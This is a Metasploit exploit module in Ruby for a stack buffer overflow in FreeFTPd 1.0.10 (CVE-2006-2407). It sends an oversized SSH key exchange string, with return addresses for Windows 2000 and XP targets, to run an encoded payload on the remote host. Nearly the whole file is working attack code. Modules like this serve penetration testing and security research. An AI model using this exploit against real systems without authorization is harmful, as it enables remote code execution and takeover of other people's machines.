##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow',
      'Description'    => %q{
          This module exploits a simple stack buffer overflow in FreeFTPd 1.0.10
        This flaw is due to a buffer overflow error when handling a specially
        crafted key exchange algorithm string received from an SSH client.
        This module is based on MC's freesshd_key_exchange exploit.
      },
      'Author'         => 'riaf <riaf[at]mysec.org>',
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          ['CVE', '2006-2407'],
          ['OSVDB', '25569'],
          ['BID', '17958'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 SP0-SP4 English',  			{ 'Ret' => 0x750231e2 } ],
          [ 'Windows 2000 SP0-SP4 German',   			{ 'Ret' => 0x74f931e2 } ],
          [ 'Windows XP SP0-SP1 English',    			{ 'Ret' => 0x71ab1d54 } ],
          [ 'Windows XP SP2 English',       		 	{ 'Ret' => 0x71ab9372 } ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'May 12 2006',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(22)
      ])
  end

  def exploit
    connect

    sploit =  "SSH-2.0-OpenSSH_3.9p1"
    sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
    sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
    sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
    sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"

    res = sock.recv(40)
    if ( res =~ /SSH-2\.0-WeOnlyDo-wodFTPD 2\.1\.8\.98/)
      print_status("Trying target #{target.name}...")
      sock.put(sploit)
    else
      print_status("Not running a vulnerable version...")
    end

    handler
    disconnect

  end
end
